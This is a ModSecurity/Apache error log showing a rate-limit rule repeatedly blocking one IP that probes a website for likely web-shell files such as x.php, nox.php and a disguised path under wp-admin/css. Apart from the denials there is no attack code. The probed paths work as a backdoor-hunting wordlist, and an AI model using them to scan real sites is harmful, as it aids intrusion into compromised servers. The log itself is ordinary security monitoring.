[Sat Jan 03 22:39:26.769353 2026] [:error] [pid 1930:tid 1981] [client 4.197.161.255:19933] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVkqHpP-6mqhfUDa89zy7gAAAE8"]
[Sat Jan 03 22:39:27.575904 2026] [:error] [pid 2083:tid 2092] [client 4.197.161.255:19859] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVkqHzVlR_BmlMPnhV4nrgAAAMc"]
[Sat Jan 03 22:39:28.447717 2026] [:error] [pid 34260:tid 34273] [client 4.197.161.255:19886] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVkqIEWWhyvZ0O9KNVQzSQAAAQs"]
[Sat Jan 03 22:39:28.885739 2026] [:error] [pid 31222:tid 31233] [client 4.197.161.255:6991] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVkqIKHw6nASHXAc2v_3GQAAAck"]
[Sat Jan 03 22:39:28.997475 2026] [:error] [pid 34260:tid 34267] [client 4.197.161.255:7041] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVkqIEWWhyvZ0O9KNVQzSwAAAQU"]
[Sat Jan 03 22:39:29.475157 2026] [:error] [pid 34260:tid 34283] [client 4.197.161.255:19844] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVkqIUWWhyvZ0O9KNVQzTAAAARU"]
[Sat Jan 03 22:39:29.888140 2026] [:error] [pid 34260:tid 34271] [client 4.197.161.255:19942] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aVkqIUWWhyvZ0O9KNVQzTgAAAQk"]
[Sat Jan 03 22:39:30.492322 2026] [:error] [pid 1931:tid 2046] [client 4.197.161.255:19955] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVkqIh8Tyw7ZoIdXlcYXOwAAAJY"]
[Sat Jan 03 22:39:32.439948 2026] [:error] [pid 31630:tid 31641] [client 4.197.161.255:19842] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVkqJPUV_PU2SWgLPuhvAQAAAYk"]
[Sat Jan 03 22:39:34.153756 2026] [:error] [pid 2083:tid 2090] [client 4.197.161.255:7094] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVkqJjVlR_BmlMPnhV4nuwAAAMU"]
[Sat Jan 03 22:39:35.316761 2026] [:error] [pid 31222:tid 31243] [client 4.197.161.255:7069] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aVkqJ6Hw6nASHXAc2v_3HwAAAdM"]
[Sat Jan 03 22:39:36.702315 2026] [:error] [pid 1929:tid 1945] [client 4.197.161.255:7107] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVkqKOcFqdpu6TNsuWr_HAAAAAc"]
[Sat Jan 03 22:39:38.529212 2026] [:error] [pid 19639:tid 19642] [client 4.197.161.255:19854] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVkqKiQ7fWZUytnlHEwK7gAAAUE"]
[Sat Jan 03 22:39:40.168668 2026] [:error] [pid 19639:tid 19646] [client 4.197.161.255:19963] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVkqLCQ7fWZUytnlHEwK8gAAAUU"]
[Sat Jan 03 22:39:41.724675 2026] [:error] [pid 34260:tid 34270] [client 4.197.161.255:7165] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aVkqLUWWhyvZ0O9KNVQzaAAAAQg"]
[Sat Jan 03 22:39:43.059444 2026] [:error] [pid 1929:tid 1941] [client 4.197.161.255:19962] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aVkqL-cFqdpu6TNsuWr_IQAAAAM"]
[Sat Jan 03 22:39:43.520216 2026] [:error] [pid 31630:tid 31637] [client 4.197.161.255:19958] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aVkqL_UV_PU2SWgLPuhvCQAAAYU"]
[Sat Jan 03 22:39:43.955151 2026] [:error] [pid 2083:tid 2103] [client 4.197.161.255:6976] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aVkqLzVlR_BmlMPnhV4nxAAAANI"]
[Sat Jan 03 22:39:44.081830 2026] [:error] [pid 2083:tid 2101] [client 4.197.161.255:7068] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aVkqMDVlR_BmlMPnhV4nxQAAANA"]
[Sat Jan 03 22:39:44.311955 2026] [:error] [pid 1931:tid 2042] [client 4.197.161.255:7081] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVkqMB8Tyw7ZoIdXlcYXQQAAAJI"]
[Sat Jan 03 22:39:44.664546 2026] [:error] [pid 1931:tid 2045] [client 4.197.161.255:19841] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVkqMB8Tyw7ZoIdXlcYXQwAAAJU"]
[Sat Jan 03 22:39:45.031011 2026] [:error] [pid 1931:tid 2036] [client 4.197.161.255:19914] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVkqMR8Tyw7ZoIdXlcYXRQAAAIw"]
[Sat Jan 03 22:39:46.039772 2026] [:error] [pid 1931:tid 2048] [client 4.197.161.255:19876] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVkqMh8Tyw7ZoIdXlcYXSwAAAJg"]
[Sat Jan 03 22:39:47.252494 2026] [:error] [pid 1929:tid 1954] [client 4.197.161.255:19906] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs15.php"] [unique_id "aVkqM-cFqdpu6TNsuWr_JAAAABA"]
[Sat Jan 03 22:39:48.694585 2026] [:error] [pid 19639:tid 19664] [client 4.197.161.255:19897] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs15.php"] [unique_id "aVkqNCQ7fWZUytnlHEwK9wAAAVc"]
[Sat Jan 03 22:39:49.628761 2026] [:error] [pid 34260:tid 34281] [client 4.197.161.255:19856] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs15.php"] [unique_id "aVkqNUWWhyvZ0O9KNVQzawAAARM"]
[Sat Jan 03 22:39:50.486266 2026] [:error] [pid 31630:tid 31655] [client 4.197.161.255:19858] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs15.php"] [unique_id "aVkqNvUV_PU2SWgLPuhvEwAAAZc"]
[Sat Jan 03 22:39:51.344484 2026] [:error] [pid 31630:tid 31650] [client 4.197.161.255:19956] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aVkqN_UV_PU2SWgLPuhvGwAAAZI"]
[Sat Jan 03 22:39:51.785601 2026] [:error] [pid 31630:tid 31656] [client 4.197.161.255:19966] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aVkqN_UV_PU2SWgLPuhvHwAAAZg"]
[Sat Jan 03 22:39:52.484053 2026] [:error] [pid 31630:tid 31643] [client 4.197.161.255:7087] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aVkqOPUV_PU2SWgLPuhvIAAAAYs"]
[Sat Jan 03 22:39:52.891962 2026] [:error] [pid 31630:tid 31649] [client 4.197.161.255:19944] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aVkqOPUV_PU2SWgLPuhvIQAAAZE"]
[Sat Jan 03 22:39:52.982159 2026] [:error] [pid 31630:tid 31635] [client 4.197.161.255:19950] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVkqOPUV_PU2SWgLPuhvIwAAAYM"]
[Sat Jan 03 22:39:53.095841 2026] [:error] [pid 1930:tid 1989] [client 4.197.161.255:19912] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVkqOZP-6mqhfUDa89zzBwAAAFc"]
[Sat Jan 03 22:39:53.303468 2026] [:error] [pid 31630:tid 31648] [client 4.197.161.255:19847] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVkqOfUV_PU2SWgLPuhvJAAAAZA"]
[Sat Jan 03 22:39:53.602012 2026] [:error] [pid 19639:tid 19653] [client 4.197.161.255:6987] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aVkqOSQ7fWZUytnlHEwK-QAAAUw"]
[Sat Jan 03 22:39:53.721705 2026] [:error] [pid 34260:tid 34264] [client 4.197.161.255:6980] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVkqOUWWhyvZ0O9KNVQzcAAAAQI"]
[Sat Jan 03 22:39:53.894348 2026] [:error] [pid 2083:tid 2085] [client 4.197.161.255:19930] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVkqOTVlR_BmlMPnhV4nzgAAAMA"]
[Sat Jan 03 22:39:54.221510 2026] [:error] [pid 31630:tid 31645] [client 4.197.161.255:19952] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVkqOvUV_PU2SWgLPuhvJwAAAY0"]
[Sat Jan 03 22:39:55.113865 2026] [:error] [pid 31630:tid 31633] [client 4.197.161.255:19880] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVkqO_UV_PU2SWgLPuhvKwAAAYE"]
[Sat Jan 03 22:39:56.342285 2026] [:error] [pid 1930:tid 1974] [client 4.197.161.255:19935] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aVkqPJP-6mqhfUDa89zzEAAAAEg"]
[Sat Jan 03 22:39:56.806583 2026] [:error] [pid 1929:tid 1938] [client 4.197.161.255:19938] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aVkqPOcFqdpu6TNsuWr_QQAAAAA"]
[Sat Jan 03 22:39:57.033204 2026] [:error] [pid 1929:tid 1955] [client 4.197.161.255:19871] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aVkqPecFqdpu6TNsuWr_QwAAABE"]
[Sat Jan 03 22:39:57.281171 2026] [:error] [pid 31630:tid 31656] [client 4.197.161.255:7126] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aVkqPfUV_PU2SWgLPuhvLgAAAZg"]
[Sat Jan 03 22:39:57.358062 2026] [:error] [pid 1929:tid 1943] [client 4.197.161.255:7150] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVkqPecFqdpu6TNsuWr_RQAAAAU"]
[Sat Jan 03 22:39:57.462439 2026] [:error] [pid 31630:tid 31636] [client 4.197.161.255:19850] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVkqPfUV_PU2SWgLPuhvLwAAAYQ"]
[Sat Jan 03 22:39:57.596833 2026] [:error] [pid 2083:tid 2101] [client 4.197.161.255:7101] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVkqPTVlR_BmlMPnhV4n1gAAANA"]
[Sat Jan 03 22:39:58.315167 2026] [:error] [pid 31630:tid 31649] [client 4.197.161.255:19861] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVkqPvUV_PU2SWgLPuhvMgAAAZE"]
[Sat Jan 03 22:39:58.806616 2026] [:error] [pid 31630:tid 31652] [client 4.197.161.255:7078] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVkqPvUV_PU2SWgLPuhvMwAAAZQ"]
[Sat Jan 03 22:39:59.807865 2026] [:error] [pid 34260:tid 34267] [client 4.197.161.255:19913] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVkqP0WWhyvZ0O9KNVQzdwAAAQU"]
[Sat Jan 03 22:40:00.353669 2026] [:error] [pid 31222:tid 31229] [client 4.197.161.255:19851] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVkqQKHw6nASHXAc2v_3MwAAAcU"]
[Sat Jan 03 22:40:01.001984 2026] [:error] [pid 34260:tid 34266] [client 4.197.161.255:19882] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aVkqQUWWhyvZ0O9KNVQzeQAAAQQ"]
[Sat Jan 03 22:40:01.444054 2026] [:error] [pid 31222:tid 31237] [client 4.197.161.255:7131] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aVkqQaHw6nASHXAc2v_3NwAAAc0"]
[Sat Jan 03 22:40:02.297897 2026] [:error] [pid 1931:tid 2046] [client 4.197.161.255:19852] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aVkqQh8Tyw7ZoIdXlcYXUQAAAJY"]
[Sat Jan 03 22:40:02.716322 2026] [:error] [pid 1931:tid 2035] [client 4.197.161.255:19921] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aVkqQh8Tyw7ZoIdXlcYXUwAAAIs"]
[Sat Jan 03 22:40:02.775908 2026] [:error] [pid 1931:tid 2040] [client 4.197.161.255:7076] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aVkqQh8Tyw7ZoIdXlcYXVQAAAJA"]
[Sat Jan 03 22:40:02.948222 2026] [:error] [pid 34260:tid 34284] [client 4.197.161.255:19845] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aVkqQkWWhyvZ0O9KNVQzegAAARY"]
